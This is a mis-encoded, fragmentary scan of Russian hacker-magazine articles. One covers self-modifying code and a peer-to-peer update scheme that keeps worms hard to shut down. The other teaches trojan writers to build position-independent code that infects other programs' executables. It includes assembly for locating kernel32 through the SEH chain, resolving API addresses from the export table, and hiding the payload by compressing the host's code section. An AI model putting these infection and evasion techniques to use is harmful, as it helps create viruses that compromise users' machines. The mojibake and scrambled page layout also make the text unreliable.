íîñòü â ìàðêåðàõ îòïàäàåò, è ïðè æå-
ëàíèè èõ ìîæíî çàòåðåòü áåññìûñëåí-
íûì êîäîì, ÷òîáû çàùèùåííàÿ ïðî-
öåäóðà ïîìåíüøå áðîñàëàñü â ãëàçà.

Âîò òåïåðü íàø ôàéë ãîòîâ ê âûïîë-
íåíèþ. Çàïóñêàåì åãî è� îí, ïîíÿòíîå
äåëî, îòêàçûâàåò â ðàáîòå. ×òî æ, ïåð-
âûé áëèí âñåãäà êîìîì, îñîáåííî åñ-
ëè òåñòî çàìåøåíî íà ñàìîìîäèôèöè-
ðóþùåìñÿ êîäå. Ïðèçâàâ íà ïîìîùü
îòëàä÷èê, çäðàâûé ñìûñë è äèçàññå-
ìáëåð, ïîïûòàåìñÿ îïðåäåëèòü, ÷òî
èìåííî ìû ñäåëàëè íå òàê. 

Äîáèâøèñü óñïåõà, çàãðóçèì èñ-
ïîëíÿåìûé ôàéë â IDA PRO è ïîñ-
ìîòðèì, êàê âûãëÿäèò çàøèôðîâàí-
íàÿ ôóíêöèÿ.

Åñòåñòâåííî, çàêëÿòüå íàëîæåííîé
øèôðîâêè ëåãêî ñíÿòü (îïûòíûå õà-
êåðû ñäåëàþò ýòî, äàæå íå âûõîäÿ èç
IDA PRO), òàê ÷òî íå ñòîèò ïåðåîöå-
íèâàòü ñâîþ çàùèùåííîñòü. Ê òîìó
æå, çàùèòà êîäîâîé ñåêöèè îò çàïè-
ñè áûëà ïðèäóìàíà íåñëó÷àéíî, è åå
îòêëþ÷åíèå ðàçóìíûì äåéñòâèåì íå
íàçîâåøü.

API-ôóíêöèÿ VirtualProtect ïîçâî-
ëÿåò ìàíèïóëèðîâàòü àòðèáóòàìè
ñòðàíèö ïî íàøåìó óñìîòðåíèþ. Ñ
åå ïîìîùüþ ìû ìîæåì ïðèñâàèâàòü
àòðèáóò Writeable òîëüêî òåì ñòðàíè-
öàì, êîòîðûå ðåàëüíî íóæäàþòñÿ â
ìîäèôèêàöèè, è ñðàçó æå ïîñëå çà-
âåðøåíèÿ ðàñøèôðîâêè îòáèðàòü
åãî îáðàòíî.

Îáíîâëåííûé âàðèàíò ôóíêöèè
crypt_it ìîæåò âûãëÿäåòü òàê:

crypt_it(unsigned char *p, int c)

{
int a;
// îòêëþ÷àåì çàùèòó îò çàïèñè
VirtualProtect(p, c, PAGE_READWRITE,

(DWORD*) &a);
// ðàñøèôðîâûâàåì ôóíêöèþ
for (a = 0; a < c; a++) *p++ ^= 0x66;
// âîññòàíàâëèâàåì çàùèòó
VirtualProtect(p, c, PAGE_READONLY,

(DWORD*) &a);
}

Îòêîìïèëèðîâàâ ôàéë îáû÷íûì îá-
ðàçîì, çàøèôðóé åãî ïî ìåòîäèêå,
îïèñàííîé âûøå, è çàïóñòè íà âûïîë-
íåíèå. Áóäåì íàäåÿòüñÿ, ÷òî îí çàðà-
áîòàåò ñ ïåðâîãî ðàçà.

ÏÐÎÁËÅÌÛ ÎÁÍÎÂËÅÍÈß 
ÊÎÄÀ ×ÅÐÅÇ ÈÍÒÅÐÍÅÒ

Òåõíèêà ñàìîìîäèôèêàöèè òåñíî
ñâÿçàíà ñ çàäà÷åé àâòîìàòè÷åñêîãî
îáíîâëåíèÿ êîäà ÷åðåç èíòåðíåò. Ðå-
øåíèå ýòîé çàäà÷è òðåáóåò îáøèðíûõ
çíàíèé è èíæåíåðíîãî ìûøëåíèÿ. Âîò
íåïîëíûé ïåðå÷åíü ïîäâîäíûõ êàì-
íåé, ñ êîòîðûìè íàì ïðèäåòñÿ ñòîëê-
íóòüñÿ: 

êàê âñòðîèòü äâîè÷íûé êîä â èñ-
ïîëíÿåìûé ôàéë? 

êàê îïîâåñòèòü âñå ýêçåìïëÿðû
óäàëåííîé ïðîãðàììû î ôàêòå îáíîâ-
ëåíèÿ? 

êàê çàùèòèòüñÿ îò ïîääåëüíûõ îá-
íîâëåíèé? 

Ïî-õîðîøåìó ýòà òåìà òðåáóåò îò-
äåëüíîé êíèãè, çäåñü æå ìû ëèøü
î÷åðòèì ïðîáëåìó.

Íà÷íåì ñ òîãî, ÷òî êîíöåïöèè ìî-
äóëüíîãî è ïðîöåäóðíîãî ïðîãðàììè-
ðîâàíèÿ (áåç êîòîðûõ ñåé÷àñ íèêóäà)
íóæäàþòñÿ â îïðåäåëåííûõ ìåõàíèç-
ìàõ ìåæïðîöåäóðíîãî âçàèìîäåé-
ñòâèÿ. Ïî ìåíüøåé ìåðå, îäíà ïðîöå-
äóðà äîëæíà óìåòü âûçûâàòü äðóãóþ
(ñì. ðèñ. 8):

×òî çäåñü íåïðàâèëüíî? À âîò ÷òî.
Ôóíêöèÿ printf íàõîäèòñÿ âíå ôóíê-
öèè my_func, è åå àäðåñ íàïåðåä íåèç-
âåñòåí. Â îáû÷íîé æèçíè ýòó çàäà÷ó
ðåøàåò ëèíêåð, îäíàêî ìû æå íå ñî-
áèðàåìñÿ âñòðàèâàòü åãî â îáíîâëÿå-
ìóþ ïðîãðàììó, âåðíî? Ïîýòîìó íåîá-
õîäèìî ðàçðàáîòàòü ñîáñòâåííûé ìå-
õàíèçì èìïîðòà/ýêñïîðòà âñåõ íåîá-
õîäèìûõ ôóíêöèé. 

Â ïðîñòåéøåì ñëó÷àå áóäåò äîñòà-
òî÷íî ïåðåäàòü íàøåé ôóíêöèè óêà-
çàòåëè íà âñå íåîáõîäèìûå åé ôóíê-
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Ðèñ. 8. Êëàññè÷åñêèé ìåòîä âûçîâà ôóíêöèé äåëàåò êîä íåïåðåìåùàåìûì

Ðèñ. 9. Âûçîâ ôóíêöèé ïî óêàçàòåëÿì, ïåðåäàííûì ÷åðåç àðãóìåíò, îáåñïå÷èâàåò êî-
äó ïåðåìåùàåìîñòü

Âûáîð àëãîðèòìà øèôðîâàíèÿ
íåïðèíöèïèàëåí. Êòî-òî èñïîëüçóåò XOR,

êòî-òî òÿãîòååò ê DES èëè RSA.

Çàùèòà êîäîâîé ñåêöèè îò çàïèñè áûëà
ïðèäóìàíà íåñëó÷àéíî, è åå îòêëþ÷åíèå

ðàçóìíûì äåéñòâèåì íå íàçîâåøü. 



öèè êàê àðãóìåíòû, òîãäà îíà íå áóäåò ïðèâÿçàíà ê ñâîåìó
ìåñòîïîëîæåíèþ â ïàìÿòè è ñòàíåò ïîëíîñòüþ ïåðåìåùà-
åìà (ñì. ðèñ. 9). Ãëîáàëüíûå è ñòàòè÷åñêèå ïåðåìåííûå è
êîíñòàíòíûå ñòðîêè èñïîëüçîâàòü çàïðåùàåòñÿ (êîìïèëÿ-
òîð ðàçìåùàåò èõ â äðóãîé ñåêöèè). Òàêæå íåîáõîäèìî
óáåäèòüñÿ, ÷òî êîìïèëÿòîð â ïîðÿäêå ïðîÿâëåíèÿ
ñîáñòâåííîé èíèöèàòèâû íå âïåíäþðèë â êîä íèêàêîé îò-
ñåáÿòèíû íàïîäîáèå âûçîâà ôóíêöèé, êîíòðîëèðóþùèõ
ãðàíèöû ñòåêà íà ïðåäìåò ïåðåïîëíåíèÿ. Âïðî÷åì, â áîëü-
øèíñòâå ñëó÷àåâ òàêàÿ èíèöèàòèâà ëåãêî îòêëþ÷àåòñÿ ÷å-
ðåç êëþ÷è êîìàíäíîé ñòðîêè, îïèñàííûå â ïðèëàãàåìîé ê
êîìïèëÿòîðó äîêóìåíòàöèè.

Îòêîìïèëèðîâàâ ïîëó÷åííûé ôàéë, ìû äîëæíû ñêîìïî-
íîâàòü åãî â 32-ðàçðÿäíûé áèíàðíèê. Äàëåêî íå êàæäûé
ëèíêåð ñïîñîáåí íà òàêîå, è çà÷àñòóþ äâîè÷íûé êîä âûäè-
ðàåòñÿ èç èñïîëíÿåìîãî ôàéëà ëþáûì ïîäðó÷íûì HEX-ðå-
äàêòîðîì (íàïðèìåð, òåì æå HIEW'îì).

Òåïåðü ìû èìååì ãîòîâûé ìîäóëü îáíîâëåíèÿ, èìååì îá-
íîâëÿåìóþ ïðîãðàììó. Îñòàåòñÿ òîëüêî äîáàâèòü ïåðâîå
êî âòîðîìó. Ïîñêîëüêó Windows áëîêèðóåò çàïèñü âî âñå
èñïîëíÿþùèåñÿ â äàííûé ìîìåíò ôàéëû, îáíîâèòü ñàì ñå-
áÿ ôàéë íå ìîæåò è ýòó îïåðàöèþ ïðèõîäèòñÿ âûïîëíÿòü â
íåñêîëüêî ñòàäèé. Ñíà÷àëà èñïîëíÿåìûé ôàéë, óñëîâíî
îáîçíà÷åííûé íàìè êàê À, ïåðåèìåíîâûâàåò ñåáÿ â Â (ïå-
ðåèìåíîâàíèþ çàïóùåííûõ ôàéëîâ Windows íå ìåøàåò),
çàòåì ôàéë B ñîçäàåò ñâîþ êîïèþ ïîä èìåíåì A, äîïèñû-
âàåò ìîäóëü îáíîâëåíèÿ â åãî êîíåö êàê îâåðëåé (áîëåå
îïûòíûå õàêåðû ìîãóò ñêîððåêòèðîâàòü çíà÷åíèå ïîëÿ
ImageSize), ïîñëå ÷åãî çàâåðøàåò ñâîå âûïîëíåíèå, ïåðå-
äàâàÿ áðàçäû ïðàâëåíèÿ ôàéëó A, óäàëÿþùåìó âðåìåí-
íûé ôàéë B ñ äèñêà. Ðàçóìååòñÿ, ýòî íå åäèíñòâåííî âîç-
ìîæíàÿ ñõåìà è, êñòàòè ãîâîðÿ, äàëåêî íå ñàìàÿ ëó÷øàÿ èç
âñåõ, íî íà ïåðâûõ ïîðàõ ñîéäåò è îíà.

Áîëåå àêòóàëüíûì ïðåäñòàâëÿåòñÿ âîïðîñ ðàñïðîñòðàíå-
íèÿ îáíîâëåíèé ïî èíòåðíåòó. Íî ïî÷åìó áû ïðîñòî íå
âûêëàäûâàòü îáíîâëåíèÿ íà òàêîé-òî ñåðâåð? Ïóñòü óäà-
ëåííûå ïðèëîæåíèÿ (íàïðèìåð, òå æå ÷åðâè) ïåðèîäè÷åñêè
ïîñåùàþò åãî, âûòÿãèâàÿ ñâåæà÷îê� Íó è ñêîëüêî òàêîé
ñåðâåð ïðîñóùåñòâóåò? Åñëè îí íå ðóõíåò ïîä íàòèñêîì
áóðíî ðàçìíîæàþùèõñÿ ÷åðâåé, åãî çàêðîåò ðàçúÿðåííûé
àäìèíèñòðàòîð. Ïîýòîìó òóò íåîáõîäèìî äåéñòâîâàòü ñòðî-
ãî ïî ðàñïðåäåëåííîé ñõåìå.

Ïðîñòåéøèé àëãîðèòì âûãëÿäèò òàê: ïóñòü êàæäûé ÷åðâü
ñîõðàíÿåò â ñâîåì òåëå IP-àäðåñà çàðàæàåìûõ ìàøèí. Òîã-
äà "ðîäèòåëè" áóäóò çíàòü ñâîèõ "äåòåé", à "äåòè" ïîìíèòü
"ðîäèòåëåé". Âïðî÷åì, îáðàòíîå óòâåðæäåíèå íåâåðíî.
"Äåäóøêè" è "áàáóøêè" çíàþò ëèøü ñâîèõ íåïîñðåäñòâåí-
íûõ "äåòåé", íî íå èìåþò íèêàêîãî ïðåäñòàâëåíèÿ î «âíó-
êàõ», åñëè, êîíå÷íî, «âíóêè» ÿâíûì îáðàçîì íå óñòàíîâÿò
ñ íèìè ñîåäèíåíèå è íå ñîîáùàò ñâîè àäðåñà� Ãëàâíîå �
ðàññ÷èòàòü èíòåíñèâíîñòü îáìåíà èíôîðìàöèåé òàê, ÷òîáû
íå ñîæðàòü âåñü ñåòåâîé òðàôèê. Òîãäà, îáíîâèâ îäíîãî
÷åðâÿ, ìû ñìîæåì äîñòó÷àòüñÿ è äî âñåõ îñòàëüíûõ, ïðè-
÷åì ïðîòèâîñòîÿòü ýòîìó áóäåò î÷åíü è î÷åíü íåïðîñòî.
Ðàñïðåäåëåííàÿ ñèñòåìà îáíîâëåíèé íå èìååò åäèíîãî êî-
îðäèíàöèîííîãî öåíòðà è, äàæå áóäó÷è óíè÷òîæåííîé íà
99,999%, ñîõðàíÿåò ñâîþ ðàáîòîñïîñîáíîñòü.

Ïðàâäà, äëÿ áîðüáû ñ ÷åðâÿìè ìîæåò áûòü çàïóùåíî
îáíîâëåíèå-êàìèêàäçå, àâòîìàòè÷åñêè óíè÷òîæàþùåå
âñåõ ÷åðâåé, êîòîðûå óñïåëè åãî çàãîëèòü. Ïîýòîìó ïðîã-
ðåññèâíî íàñòðîåííûå âèðóñîïèñàòåëè àêòèâíî èñïîëü-
çóþò ìåõàíèçìû öèôðîâîé ïîäïèñè è íåñèììåòðè÷íûå
êðèïòîàëãîðèòìû. Åñëè ëåíü ðàçðàáàòûâàòü ñâîé
ñîáñòâåííûé äâèæîê, ìîæíî èñïîëüçîâàòü PGP (áëàãî åå
èñõîäíûå òåêñòû îòêðûòû).

Ãëàâíîå, èìåòü èäåè è óìåòü äåðæàòü êîìïèëÿòîð ñ îò-
ëàä÷èêîì â ðóêàõ. Âñå îñòàëüíîå � âîïðîñ âðåìåíè.

ÝÒÎ ÂÑÅ?
Áåç ïðèòîêà íîâûõ èäåé òåõíèêà ñàìîìîäèôèêàöèè îá-

ðå÷åíà íà ìåäëåííóþ ñìåðòü. ×òîáû ïîääåðæàòü åå íà ïëà-
âó, íåîáõîäèìî íàéòè ïðàâèëüíóþ òî÷êó ïðèìåíåíèÿ ñèë,
èñïîëüçóÿ ñàìîìîäèôèöèðóþùèéñÿ êîä òàì è òîëüêî òàì,
ãäå åãî äåéñòâèòåëüíî íóæíî èñïîëüçîâàòü! E
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Ó æå ïðèâûêëè, ÷òî òðîÿí - ýòî îòäåëüíûé ôàéë, êîòîðûé ñòàðòóåò èç àâòîçàãðóçêè. Ìàëî êîìó èçâåñòíî, ÷òî
çàãðóç÷èê òðîÿíà (èëè âåñü òðîÿí) ìîæåò áûòü îôîðìëåí â âèäå àäðåñíî-íåçàâèñèìîãî êîäà. Ïåðåíîñèìûé êîä

ïðîïèñûâàåòñÿ â ÷óæîé EXE èëè DLL - çàðàæàåò òî÷íî òàê æå, êàê ýòî äåëàþò âèðóñû. 
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àðàçèâ íóæíûé EXE,
òðîÿí ìîæåò íå ñâå-
òèòüñÿ â àâòîçàãðóçêå
èëè âîîáùå íå èìåòü
îòäåëüíîãî ôàéëà, åñ-

ëè ïðîïèøåòñÿ â ýòîò EXE ïîëíîñòüþ.
Ïîäîáíûå òåõíèêè íàçûâàþò âèðóñ-
íûìè.

ÄÂÅ ÏÐÎÁËÅÌÛ ÀÄÐÅÑÍÎ-
ÍÅÇÀÂÈÑÈÌÎÃÎ ÊÎÄÀ

Èòàê, êîä òðîÿíà íóæíî ñäåëàòü
àäðåñíî-íåçàâèñèìûì. Äëÿ òîãî ÷òî-
áû ýòîò êîä íîðìàëüíî ôóíêöèîíè-
ðîâàë, òðåáóåòñÿ ðåøèòü íåñêîëüêî
ïðîáëåì. Âèðóñîïèñàòåëÿì îíè õîðî-
øî èçâåñòíû, íî íåîïûòíûé òðîÿí-
ìåéêåð ìîæåò ñòîëêíóòüñÿ ñ íèìè
âïåðâûå.

Ïðîáëåìà ïåðâàÿ. Íåèçâåñòíî, ãäå
îêàæåòñÿ êîä òðîÿíà, çàðàçèâ EXE.
Ïîýòîìó, êàê òîëüêî êîä ïîëó÷èò óï-
ðàâëåíèå, îí äîëæåí áóäåò óçíàòü àä-
ðåñ ñâîåãî íà÷àëà. ×àùå âñåãî èñ-
ïîëüçóåòñÿ áîðîäàòûé (íî ñòîïðîöå-
íòíî ðàáî÷èé) ïðèåì, êîòîðûé áûë ïî-
ïóëÿðåí åùå âî âðåìåíà DOS:

_trojan_code_start: ; íà÷àëî êîäà òðîÿíà
call $5 ; call íà ñëåäóþùóþ

èíñòðóêöèþ
pop ebp ; âûòîëêíåì èç ñòåêà

àäðåñ èíñòðóêöèè pop ebp
sub ebp, 5 ; òåïåðü â ebp àäðåñ

_trojan_code_start

Ïðîáëåìà âòîðàÿ. Íóæíî íàó÷èòüñÿ
âûçûâàòü API. Ó îáû÷íîãî ïðèëîæå-
íèÿ òðóäíîñòåé ñ ýòèì íå âîçíèêàåò -
íîðìàëüíûé EXE-ôàéë èìååò òàáëè-
öó èìïîðòà. Â íåé, êðîìå âñåãî ïðî-
÷åãî, óêàçàíî, êàêèå API òðåáóþòñÿ
ïðîãðàììå è êóäà íóæíî çàïèñàòü èõ
àäðåñà (ñèñòåìà ýòî äåëàåò åùå ïðè
çàãðóçêå).

Ïîñêîëüêó àäðåñíî-íåçàâèñèìûé
êîä òðîÿíà íå èìååò òàáëèöû èìïîð-
òà, åìó íóæíî êàê-òî óçíàòü ýòè àä-
ðåñà ñàìîìó. Âèðóñîïèñàòåëè çíàþò
íåñêîëüêî ñïîñîáîâ íàõîæäåíèÿ
API. Ñàìûé íàäåæíûé èç íèõ - àíà-
ëèç òàáëèöû ýêñïîðòà kernel32.dll.
Íå áóäåì ïðèâîäèòü ïîëíûé èñõîä-
íèê ïðîöåäóðû, êîòîðàÿ ýòî äåëàåò,

à óïîìÿíåì ëèøü îáùèå ïðèíöèïû è
íåêîòîðûå ñâåäåíèÿ î ôîðìàòå
Portable EXE (PE).

ÊÀÊ ÄÎÁÐÀÒÜÑß
ÄÎ ÒÀÁËÈÖÛ ÝÊÑÏÎÐÒÀ?

Áîëüøèíñòâî EXE è DLL - ýòî PE-
ôàéëû (kernel32.dll - íå èñêëþ÷åíèå).
Âñå îíè èìåþò ñëåäóþùóþ ñòðóêòóðó.
PE-ôàéë íà÷èíàåòñÿ ñî stub'a. Stub -
ýòî EXE-ïðîãðàììà, ðàáîòàþùàÿ ïîä
MS DOS. Íà÷èíàåòñÿ ñ ñèãíàòóðû -
äâóõ áàéò 'MZ' èëè (÷òî áûâàåò î÷åíü
ðåäêî) 'ZM'. Stub ïîëó÷àåò óïðàâëå-
íèå, åñëè EXE çàïóùåí ïîä DOS'îì.
Îáû÷íî îí èìååò íåáîëüøîé ðàçìåð
è âûâîäèò "This program requres
Microsoft Windows", ïîñëå ÷åãî çàâåð-
øàåò ðàáîòó. Â DLL stub ïðîñòî äëÿ
êðàñîòû. Â ñâîåì çàãîëîâêå ïî ñìåùå-
íèþ 3Ch stub ñîäåðæèò dword - RVA
PE-çàãîëîâêà.

Ïîñëå stub'à èäåò, ñîáñòâåííî,
Windows-ïðîãðàììà. Îíà íà÷èíàåòñÿ ñ
çàãîëîâêà PE. Ïåðâûå ÷åòûðå áàéòà
çàãîëîâêà îáðàçóþò ñèãíàòóðó
'P','E',0,0 èëè (ïî÷òè íå âñòðå÷àåòñÿ)
'E','P',0,0. Çàãîëîâîê èìååò äîâîëüíî
ñëîæíóþ ñòðóêòóðó, èç êîòîðîé íàñ
èíòåðåñóþò ëèøü íåêîòîðûå ýëåìåí-
òû. Â ÷àñòíîñòè, RVA òàáëèöû ýêñïîð-

òà íàõîäèòñÿ ïî ñìåùåíèþ 78h îò ñèã-
íàòóðû PE (åñëè ñ÷èòàòü, ÷òî ñàìà ñèã-
íàòóðà èìååò ñìåùåíèå 0).

Â òàáëèöå ýêñïîðòà èíòåðåñíû ñëå-
äóþùèå ýëåìåíòû. Ïî ñìåùåíèþ 20h
îò íà÷àëà òàáëèöû ýêñïîðòà ëåæèò
dword - RVA ìàññèâà óêàçàòåëåé íà 
0-òåðìèíèðóþùèå ñòðîêè ñ èìåíàìè
ýêñïîðòèðóåìûõ API. Ïî ñìåùåíèþ
24h ëåæèò åùå îäèí èíòåðåñíûé
dword - RVA ìàññèâà îðäèíàëîâ. Îð-
äèíàë - ýòî îáû÷íîå äâóõáàéòîâîå
ñëîâî (çà÷åì íóæíû îðäèíàëû, ñìîò-
ðè íèæå). È ïî ñìåùåíèþ 1Ch ëåæèò
RVA ìàññèâà àäðåñîâ API.

ÍÀÕÎÄÈÌ API ÏÎ ÈÌÅÍÈ
Äëÿ òîãî ÷òîáû íàéòè API ïî èìå-

íè, íóæíî ñäåëàòü íåñêîëüêî øàãîâ.
1. Ïðî÷èòàòü ïåðâûå äâà áàéòà ker-

nel32.dll. Óáåäèòüñÿ, ÷òî òàì 'MZ'. Ïðî-
÷èòàòü RVA çàãîëîâêà PE. Ïðî÷èòàòü
ïåðâûå ÷åòûðå áàéòà çàãîëîâêà PE.
Óáåäèòüñÿ, ÷òî òàì 'PE',0,0.
2. Ïî ñìåùåíèþ 78h îò ñèãíàòóðû

PE ïðî÷èòàòü RVA òàáëèöû ýêñïîðòà.
3. Íàéòè â òàáëèöå ýêñïîðòà RVA

ìàññèâà èìåí, îðäèíàëîâ è àäðåñîâ.
4. Ïåðåáðàòü ìàññèâ èìåí, íàéòè

èìÿ íóæíîé API è çàïîìíèòü åå èí-
äåêñ (íîìåð ïî ïîðÿäêó).
5. Ïîñìîòðåòü, êàêîé îðäèíàë ëå-

æèò ïî ýòîìó æå èíäåêñó â ìàññèâå
îðäèíàëîâ. Âû÷åñòü èç ýòîãî îðäèíà-
ëà áàçó îðäèíàëîâ - dword, íàõîäÿ-
ùèéñÿ â òàáëèöå ýêñïîðòà ïî ñìåùå-
íèþ 10h.
6. Èñïîëüçóÿ ÷èñëî (ïîëó÷åííîå â

ïðåäûäóùåì ïóíêòå) â êà÷åñòâå èí-
äåêñà, ïðî÷èòàòü èç ìàññèâà àäðåñîâ
RVA íóæíîé API. Âîò çà÷åì íàì áûëà
íóæíà òàáëèöà îðäèíàëîâ!
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Îáùàÿ ñòðóêòóðà PE-ôàéëà

LIKE A VIRUS64 RAT

Ñïåøó ðàçî÷àðîâàòü ëþáèòåëåé ïåðåäèðàòü èñõîäíèêè îäèí â
îäèí - ïîëíîñòüþ ôóíêöèîíàëüíîãî çàãðóç÷èêà òðîÿíà (è óæ òåì
áîëåå ñàìîãî òðîÿíà) çäåñü íå áóäåò. Ýòî, âî-ïåðâûõ, ïðîòèâîçà-
êîííî, à âî-âòîðûõ, ïðîñòî ñêó÷íî. Íî áóäóò äâå èíòåðåñíûå òåõíè-
êè: òðàäèöèîííàÿ è íåòðàäèöèîííàÿ - îáå ñ ðàáî÷èìè ïðîöåäóðàìè
íà äèñêå, êîòîðûé ïðèëàãàåòñÿ ê æóðíàëó.



Ïðèìåð
ïðîöåäóð,
èñïîëüçóþ-
ùèõ Native
API äëÿ
ñæàòèÿ äàí-
íûõ, åñòü
íà äèñêå ê
æóðíàëó.
Ïðîöåäóðó
äåêîìïðåñ-
ñèè íàïèøè
ñàì.

ÍÀÕÎÄÈÌ KERNEL32.DLL
Â ÏÀÌßÒÈ

Íî íàäî ñíà÷àëà äîáðàòüñÿ äî 
kernel32.dll. Kernel32.dll ïðè çàïóñêå
ïðîãðàììû îòîáðàæàåòñÿ â åå àä-
ðåñíîì ïðîñòðàíñòâå. È íàäî ñäå-
ëàòü âîò ÷òî:

1. Íàéòè òî÷êó âíóòðè îáðàçà 
kernel32.dll â ïàìÿòè. Äëÿ ýòîãî íóæíî
ïðîéòèñü ïî öåïî÷êå SEH äî åå ïîñ-
ëåäíåãî ýëåìåíòà.

Êîä, ðåàëèçóþùèé íàõîæäåíèå òî÷-
êè âíóòðè kernel32.dll, âûãëÿäèò òàê:

mov eax, fs:[0] ; eax =
óêàçàòåëü íà ïåðâûé ýëåìåíò SEH

GetApi2k_10:
mov ebx, [eax] ; àäðåñ

ñëåäóþùåãî ýëåìåíòà
cmp ebx, -1

; ðàâåí -1?
je GetApi2k_20

; äà - ýòî ïîñëåäíèé ýëåìåíò öåïî÷êè

mov eax, ebx ; íåò - çà-
íåñåì â eax àäðåñ ñëåäóþùåãî ýëåìåíòà

jmp short GetApi2k_10 ;
íîâûé âèòîê öèêëà

GetApi2k_20:
mov eax, [eax+4]

; eax = òî÷êà âíóòðè kernel32.dll

2. Âûðàâíÿòü íàéäåííûé àäðåñ òî÷êè
âíóòðè kernel32.dll íà 64K. Ïàìÿòü â
Windows îðãàíèçîâàíà òàêèì îáðàçîì,
÷òî îáðàçû èñïîëíÿåìûõ ìîäóëåé (è íå
òîëüêî îíè: ëþáîå ðåçåðâèðîâàíèå ïà-
ìÿòè â âèðòóàëüíîì àäðåñíîì ïðîñòðà-
íñòâå ïðîöåññà ïðîèñõîäèò ïî àäðåñó,
êðàòíîìó 64K - ýòî òàê íàçûâàåìàÿ allo-
cation granularity - ïðèì. AvaLANche'à)
çàãðóæàþòñÿ ïî àäðåñàì, êðàòíûì 64K.
Åñëè ïî âûðàâíåííîìó àäðåñó íå ëåæèò
'MZ', óìåíüøèì åãî íà 64Ê è ïîâòîðèì
ïðîâåðêó. È òàê äî òåõ ïîð, ïîêà íå íàé-
äåì "ãîëîâó" kernel32.dll. 

xor ax, ax
; âûðàâíÿåì àäðåñ âíóòðè kernel32 íà 64Ê

GetApi2k_1:

mov ebx, [eax] ; ÷èòàòü 4
áàéòà ïî àäðåñó [eax]

cmp bx, 5A4Dh ; ãîëîâà
ñòàáà? ('MZ' íàâûâîðîò)

je GetApi2k_2 ; äà!
sub eax, 010000h

; óìåíüøàåì åùå íà 64Ê
jmp short GetApi2k_1 

; íîâàÿ èòåðàöèÿ
GetApi2k_2:

; òåïåðü â eax addr 'MZ' k32

Ïîòîì íàõîäèì RVA PE, à äàëüøå
âñå ïî ïëàíó :).

ÍÅÑÊÎËÜÊÎ ÑËÎÂ
Î ÂÍÅÄÐÅÍÈÈ
Â "×ÓÆÓÞ" ÏÐÎÃÐÀÌÌÓ

Äîïóñòèì, óäàëîñü íàïèñàòü àä-
ðåñíî-íåçàâèñèìûé êîä. Êàê òåïåðü
çàðàçèòü èì ÷óæîé EXE? Âèðìåéêåðû
çíàþò êó÷ó ðàçíûõ òåõíèê. Òå, ÷òî
ïîïðîùå, ëåãêî ñåêóòñÿ àíòèâèðóñà-
ìè. Ñëîæíûå òåõíèêè - òðóäíåå ïðîã-
ðàììèðîâàòü. 

Ê ñëîæíûì òåõíèêàì òðàäèöèîííî
îòíîñÿò ñæàòèå ñåêöèè êîäà. Ñåêöèÿ
êîäà - ýòî, ãðóáî ãîâîðÿ, òà ÷àñòü PE-
ôàéëà, â êîòîðîé íàõîäèòñÿ ïðîãðàì-
ìíûé êîä. Ñóòü òåõíèêè â ñëåäóþ-
ùåì. Íàõîäèì RVA è ðàçìåð ñåêöèè
êîäà - îíè ëåæàò ïî ñìåùåíèÿì 2Ñh
è 1Ch îò íà÷àëà PE-çàãîëîâêà. Òàêæå
íàñ èíòåðåñóåò RVA òî÷êè âõîäà - ëå-
æèò â PE-çàãîëîâêå ïî ñìåùåíèþ
28h. Èìåííî â òî÷êó âõîäà ïåðåäàåò-
ñÿ óïðàâëåíèå ñðàçó ïîñëå ñòàðòà
EXE (åñëè ýòî EXE-ôàéë) èëè çàãðóç-
êè DLL (åñëè ýòî DLL).

Àäðåñíî-íåçàâèñèìûé êîä âíåäðÿåò-
ñÿ ñëåäóþùèì îáðàçîì. Ñåêöèÿ êîäà
ñæèìàåòñÿ ñ ïîìîùüþ êàêîãî-íèáóäü
àëãîðèòìà (òèïà LZW). Â ðåçóëüòàòå
ýòîãî îñâîáîæäàåòñÿ íåìíîãî ìåñòà â
êîíöå êîäîâîé ñåêöèè - èìåííî òóäà è
ïðîïèñûâàåòñÿ ïåðåíîñèìûé êîä, ïå-
ðåâîäÿ RVA òî÷êè âõîäà â PE-çàãî-
ëîâêå íà ñåáÿ. Äëèíà çàðàæàåìîãî
ôàéëà ïðè ýòîì íå óâåëè÷èâàåòñÿ!

Êàê ýòî ñäåëàòü? Î÷åíü ïðîñòî! Íå
íàäî ïèñàòü ñîáñòâåííóþ ïðîöåäóðó
ñæàòèÿ. Ìîæíî âîñïîëüçîâàòüñÿ òåì,
÷òî â ntdll.dll åñòü ñëåäóþùèå ôóíê-
öèè Native API: RtlCompressBuffer,
RtlGetCompressionWorkSpaceSize è
RtlDecompressBuffer. Îíè ïîçâîëÿþò
ñæèìàòü è äåêîìïðåññèðîâàòü äàííûå
ñ ïîìîùüþ àëãîðèòìà LZ. E
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Ïîëíîå îïè-
ñàíèå ôîð-
ìàòà PE
ñìîòðè â
äîêàõ. Ñî-
âåòóåì òó-
òîðèàë
Iczelion'à è
äîêó Hard
Winsdom'à -
âñå ýòî åñòü
íà
www.wasm.ru
íà ðóññêîì
ÿçûêå.

RVA -
Relative vir-
tuall
address -
ñìåùåíèå
îòíîñèòåëü-
íî íà÷àëà
ôàéëà.

Êîäîâàÿ ñåêöèÿ äî è ïîñëå çàðàæåíèÿ

Öåïî÷êà îáðàáîò÷èêîâ SEH - ýòî ñâÿçíûé ñïèñîê, ýëåìåíòàìè êî-
òîðîãî ÿâëÿþòñÿ ñïåöèàëüíûå ñòðóêòóðû. Ïåðâûé dword ñòðóêòóðû
óêàçûâàåò íà ñëåäóþùèé ýëåìåíò öåïî÷êè, âòîðîé dword - óêàçà-
òåëü íà ïðîöåäóðó îáðàáîòêè èñêëþ÷åíèÿ.

Ïðîöåäóðà ïîëó-
÷èò óïðàâëåíèå,
åñëè â êîäå ïðè-
ëîæåíèÿ ïðîèçîé-
äåò êàêàÿ-òî
îøèáêà (íàïðè-
ìåð, äåëåíèå íà 0
èëè ïîïûòêà çàïè-
ñè â ïàìÿòü ñ àòðèáóòàìè read only). Åñëè ýòà ïðîöåäóðà íå ñìîæåò
èñïðàâèòü îøèáêó, óïðàâëåíèå áóäåò ïåðåäàíî ñëåäóþùåé ïðîöå-
äóðå â öåïî÷êå SEH è ò.ä. Åå ïîñëåäíèé ýëåìåíò â êà÷åñòâå ïåðâî-
ãî dword'a ñîäåðæèò -1, à â êà÷åñòâå âòîðîãî - óêàçàòåëü íà ïðîöå-
äóðó âíóòðè ker-
nel32.dll. Èìåííî
ýòà (ïîñëåäíÿÿ â
öåïî÷êå îáðàáîò-
÷èêîâ ïðîöåäóðà)
âûâîäèò ñîîáùå-
íèå òèïà "Èíñòðóê-
öèÿ ïî àäðåñó
XXXXXXXX îáðàòèëàñü ê ïàìÿòè ïî àäðåñó XXXXXXXX".

